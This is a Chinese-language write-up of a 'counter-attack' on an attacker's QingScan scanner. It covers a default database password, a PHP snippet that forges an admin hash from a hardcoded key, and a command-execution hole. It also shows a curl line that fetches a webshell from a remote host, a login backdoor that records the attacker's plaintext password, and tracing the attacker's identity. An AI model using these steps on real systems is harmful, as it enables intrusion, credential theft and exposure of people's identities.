前言
在某次應急中發現攻擊者使用了QingScan掃描器對目標資產進行掃描攻擊,本篇文章簡單描述應急過程中對該掃描器的反制方法和溯源思路(本地測試環境進行復現)
反制過程
資料庫權限
掃描器啟動時存在兩個服務,一個是掃描服務,另外一個是資料庫服務。
由於目標掃描器用docker啟動,啟動時的參數容易被忽略,導致開放的33306埠的資料庫服務存在默認的弱口令: root/123。這也是本次反制過程中最關鍵的點
後台權限
由於需要取證確實為該伺服器存在對目標服務進行漏洞掃描行為,所以需要進入後台更直觀地看到掃描項目信息。
後端代碼對用戶密碼進行了加密處理,在未成功爆破出有效密碼的情況下,選擇了自己生成密碼Hash並將資料庫中已有的密碼Hash進行替換的方案
登錄處密碼處理邏輯如下
從圖中代碼可以想到用於身份校驗的資料庫中的密碼hash與密碼、用戶名明文和UC_AUTH_KEY相關
其中UC_AUTH_KEY為硬編碼存放在code/config/app.php中
最後通過ucenter_md5方法生成最終的密碼Hash
簡化邏輯如下
<?php
$str = "admin@123"."admin";//$password.$username
$key = "xt1l3a21uo0tu2oxtds3wWte23dsxix2d3in7yuhui32yuapatmdsnnzdazh1612ongxxin2z";
echo md5(md5(sha1($str) . $key)."###xt"); //e9e6a217f80f50309757a90c39aab646
替換Hash後成功登錄管理後台
命令執行權限
在對代碼進行審計的過程中,發現code/app/common.php#systemLog存在命令執行點
在 /code/app/model/ProcessSafeModel.php中被調用
後台對應的功能點為:系統設置-守護進程管理-添加守護進程,value欄位即可執行的命令參數
利用curl遠程請求web獲取webshell輸出到目標web目錄(/root/qingscan/code/public/)
curl http://host/info.txt -o /root/qingscan/code/public/12121.php
上傳成功後獲取到目標伺服器部分權限
由於目標權限在docker內,沒有通過shell獲取到其他有用的信息。但伺服器中還部署了其他的服務,
所以拿到shell後修改了這套程序的登陸邏輯,登陸成功後會記錄攻擊者本人的明文密碼,方便後續對攻擊伺服器中的其他服務進行爆破
在登錄邏輯處修改相關代碼,若攻擊者帳號成功登錄,會將密碼保存至網站根目錄code.txt文件內
效果如下
但在真實環境等待幾天後攻擊者並沒有登錄,伺服器也隨之關閉。反制到此結束
溯源思路
針對該掃描器功能的溯源思路如下
思路一:
在本次應急過程中,攻擊者在掃描器後台配置了fofa的API信息,通過郵箱(qq號@qq.com)找到了攻擊者的具體的身份信息和常用id
思路二
該掃描器存在登錄日誌功能,可以通過記錄的ip對攻擊者進行模糊定位。